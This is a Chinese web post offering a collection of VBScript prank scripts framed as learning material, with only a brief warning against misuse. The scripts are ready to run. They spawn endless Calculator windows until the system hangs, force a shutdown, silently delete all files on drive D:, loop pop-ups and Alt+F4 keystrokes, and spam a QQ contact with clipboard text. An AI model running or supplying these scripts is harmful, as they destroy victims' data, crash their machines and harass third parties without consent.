vbs整人代码大集合，收集的比较全，喜欢的朋友可以参考下。不要搞破坏，学习vbs的朋友非常有帮助，死循环的使用比较多。

打开无数个计算器，直到死机

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

---

直接关机

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

---

删除D:\所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

---

不断弹出窗口

while(1)

msgbox "哈哈 被耍了吧！"

loop

---

开什么都关闭

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}" loop

---

按10000次回车

dim s

do until s=10000

s=s+1

msgbox "哥们，给我按10000次回车吧",64

loop

---

无尽刷新

Set s = CreateObject("sapi.spvoice") 

i=0 

do 

s.speak i 

i=i+1 

loop 

QQ信息骚扰恶搞

打开好友的聊天对话框，然后记下聊天对话框的名称（如图：小敏），把下面代码里的小敏替换一下。代码中的“10”代表发送次数，把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可，当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。

 On Error Resume Next 

Dim wsh,ye 

set wsh=createobject("wscript.shell") 

for i=1 to 10 

wscript.sleep 700 

wsh.AppActivate("小敏") 

wsh.sendKeys "^v" 

wsh.sendKeys i 

wsh.sendKeys "%s" 

next 

wscript.quit

---

解除方法

按ctrl+alt+delete打开任务管理器取消进程